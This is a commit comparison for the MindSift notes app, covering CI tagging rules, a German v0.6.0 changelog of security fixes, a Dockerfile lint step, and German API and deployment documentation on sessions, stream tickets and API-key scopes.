Compare commits
No files matched your search
@@ -4,6 +4,7 @@ name: MindSift CI & Docker Release
|
||||
# push to dev -> :dev
|
||||
# push/merge main -> :latest
|
||||
# git tag v1.2.0 -> :v1.2.0 and :stable
|
||||
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
@@ -39,6 +40,7 @@ jobs:
|
||||
|
||||
# All tags of this run (space separated)
|
||||
case "${GITHUB_REF:-}" in
|
||||
refs/tags/*-*) TAGS="${DOCKER_TAG}" ;;
|
||||
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
|
||||
refs/heads/main) TAGS="latest" ;;
|
||||
*) TAGS="${DOCKER_TAG}" ;;
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# Changelog
|
||||
|
||||
Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
|
||||
|
||||
Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [0.6.0] - 2026-10-29
|
||||
|
||||
### Added
|
||||
- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
|
||||
- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
|
||||
- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
|
||||
|
||||
### Changed
|
||||
- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
|
||||
- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
|
||||
- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
|
||||
- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
|
||||
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
|
||||
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
|
||||
|
||||
### Fixed
|
||||
- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
|
||||
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
|
||||
|
||||
### Security
|
||||
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
|
||||
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
|
||||
- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
|
||||
- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
|
||||
- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
|
||||
- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
|
||||
- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
|
||||
- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
|
||||
- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
|
||||
- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
|
||||
- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
|
||||
- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
|
||||
|
||||
<!-- Ältere Versionen (bis v0.5.2) werden aus der Git-Historie nachgetragen. -->
|
||||
|
||||
[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...dev
|
||||
[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
|
||||
+1
-2
@@ -8,7 +8,7 @@ RUN npm install --no-audit --no-fund
|
||||
COPY frontend/ ./
|
||||
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
|
||||
ARG APP_VERSION=""
|
||||
RUN npx tsc --noEmit && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
|
||||
RUN npx tsc --noEmit && npm run lint && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
|
||||
|
||||
# ==============================================================================
|
||||
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
|
||||
@@ -36,7 +36,6 @@ RUN go get github.com/go-chi/chi/v5@v5.2.0 \
|
||||
# Copy application source & compiled frontend SPA assets for go:embed
|
||||
COPY cmd/ ./cmd/
|
||||
COPY internal/ ./internal/
|
||||
COPY migrations/ ./migrations/
|
||||
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
|
||||
|
||||
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
|
||||
|
||||
+1
-1
@@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
|
||||
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
|
||||
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
|
||||
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
|
||||
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
||||
- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
||||
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
|
||||
|
||||
## Entwickeln
|
||||
|
||||
+24
-12
@@ -1,6 +1,6 @@
|
||||
# REST-API
|
||||
|
||||
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) haben vorerst genau ein Recht: Daten einliefern über `POST /inbox` (Gedanke oder per `target` direkt Aufgabe) und `POST /webhooks/ingest`; alle anderen Endpunkte antworten mit `403`. Feinere Berechtigungen (Scopes) folgen. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
||||
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
||||
|
||||
## Öffentlich
|
||||
|
||||
@@ -10,14 +10,15 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
||||
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) |
|
||||
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
|
||||
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
|
||||
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
|
||||
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben; `429` nach 20 Versuchen pro Adresse in 15 Minuten |
|
||||
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
|
||||
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen |
|
||||
| POST | `/auth/reset-password` | `{token, password}` (mind. 4 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
|
||||
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
|
||||
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
|
||||
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
|
||||
| POST | `/webhooks/ingest` | Aufgabe per Webhook anlegen, Token als `?token=`, `X-API-Key` oder Bearer. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; Klartext-Body wird als Inhalt genommen |
|
||||
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); Token als `?token=` nötig |
|
||||
| GET | `/events` | SSE-Fallback; Token als `?token=` nötig |
|
||||
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
|
||||
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
|
||||
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
|
||||
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
|
||||
|
||||
## Konto und Allgemeines (angemeldet)
|
||||
|
||||
@@ -25,12 +26,14 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
||||
|---|---|---|
|
||||
| GET | `/auth/me` | Benutzer und Kennzahlen |
|
||||
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
|
||||
| POST | `/auth/logout` | Token sperren |
|
||||
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
|
||||
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
|
||||
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
|
||||
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
|
||||
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
|
||||
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
|
||||
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
|
||||
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
|
||||
| GET | `/stats` | Zähler fürs Dashboard |
|
||||
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
|
||||
| GET | `/search?q=` | Globale FTS5-Suche in zugänglichen Notizen (Titel & Blöcke), Aufgaben und Listen → `{thoughts, documents, listItems, hits}` |
|
||||
| GET | `/export` | Datenexport als JSON; mit `?format=zip` dieselben Daten als `mindsift-backup.json` in einer ZIP (so lädt die Oberfläche das Backup) |
|
||||
| GET | `/export/markdown` | Obsidian-kompatibles ZIP (`mindsift-vault-DATUM.zip`), direkt gestreamt: Notizen als `.md` mit YAML-Frontmatter in der Ordnerstruktur des Nutzers (inkl. geteilter), `Aufgaben/<Liste>.md` im Format des Tasks-Plugins (`📅`, `⏫`/`🔺`), `Listen/<Liste>.md` |
|
||||
@@ -40,7 +43,9 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
||||
| — | `/import/mindsift?mode=restore` | Wiederherstellen: löscht vor dem Import alle eigenen Notizen, Ordner, Aufgaben, Gedanken und Listen (erst nachdem die Datei vollständig gelesen und geprüft ist) |
|
||||
| DELETE | `/user/data` | Alle eigenen Daten löschen, Konto bleibt (`{"password"}` nötig) |
|
||||
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
|
||||
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung) |
|
||||
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
|
||||
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
|
||||
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
|
||||
|
||||
### Globale Suche (`GET /api/v1/search?q=`)
|
||||
|
||||
@@ -185,9 +190,11 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
|
||||
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
|
||||
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
|
||||
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) |
|
||||
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben |
|
||||
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
|
||||
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
|
||||
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
|
||||
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
|
||||
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
|
||||
|
||||
## Beispiele
|
||||
|
||||
@@ -197,6 +204,11 @@ curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
|
||||
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
||||
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
|
||||
|
||||
# Einkaufsliste per API-Key ergänzen (Scope webhook:list)
|
||||
curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
|
||||
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
||||
-d '{"target":"list_item","listId":"lst_…","content":"Hafermilch","quantity":"2"}'
|
||||
|
||||
# Aufgabenliste nur lesend freigeben
|
||||
curl -X POST https://mindsift.example.com/api/v1/task-lists/tkl_…/shares \
|
||||
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
|
||||
|
||||
@@ -20,7 +20,7 @@ Der Client versucht zuerst WebSocket und wechselt in folgenden Fällen für die
|
||||
|
||||
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
|
||||
|
||||
**Authentifizierung:** Token als `?token=<JWT|API-Key>` oder `Authorization`-Header. Ohne gültiges Token antworten `/ws` und `/events` mit `401`. Das Token wird nur beim Verbinden geprüft ([FLAW-22](../flaws.md)).
|
||||
**Authentifizierung:** Browser holen sich direkt vor dem Verbinden ein Einmal-Ticket (`POST /auth/stream-ticket` mit dem normalen `Authorization`-Header → `{ticket, expiresIn: 60}`) und hängen es als `?ticket=` an; es gilt 60 Sekunden und einmal und wird ungültig, sobald alle Sitzungen beendet werden. Andere Clients dürfen stattdessen den `Authorization`-Header schicken. Sitzungs-Tokens in der URL und API-Keys werden nicht angenommen (`401`). Bei Logout, „Alle Sitzungen beenden“, neuem Passwort und Deaktivierung trennt der Server alle Streams des Kontos; Clients mit gültiger Sitzung verbinden sich mit neuem Ticket neu. Mit gesetzter `BASE_URL` nimmt der WebSocket nur Verbindungen von dieser Adresse oder vom angefragten Host an.
|
||||
|
||||
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
|
||||
|
||||
|
||||
+23
-8
@@ -58,12 +58,15 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
|
||||
| `PORT` | `8080` | HTTP-Port |
|
||||
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
|
||||
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
|
||||
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert ([FLAW-04](flaws.md)) |
|
||||
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
|
||||
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
|
||||
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
|
||||
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
|
||||
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
|
||||
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
|
||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
|
||||
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
|
||||
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`) |
|
||||
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
|
||||
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
|
||||
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
|
||||
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||
@@ -74,15 +77,17 @@ Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in
|
||||
## Authentifizierung
|
||||
|
||||
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
|
||||
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
||||
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
|
||||
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403` ([FLAW-07](flaws.md)).
|
||||
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
|
||||
- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
|
||||
- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
||||
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
|
||||
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
|
||||
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
|
||||
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
|
||||
|
||||
## Hintergrundjob: Alarme
|
||||
|
||||
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Details und Einschränkungen: [modules/tasks.md](modules/tasks.md), [FLAW-12](flaws.md).
|
||||
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
|
||||
|
||||
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
|
||||
|
||||
@@ -96,12 +101,22 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
|
||||
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
|
||||
```
|
||||
|
||||
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht.
|
||||
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
|
||||
|
||||
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
||||
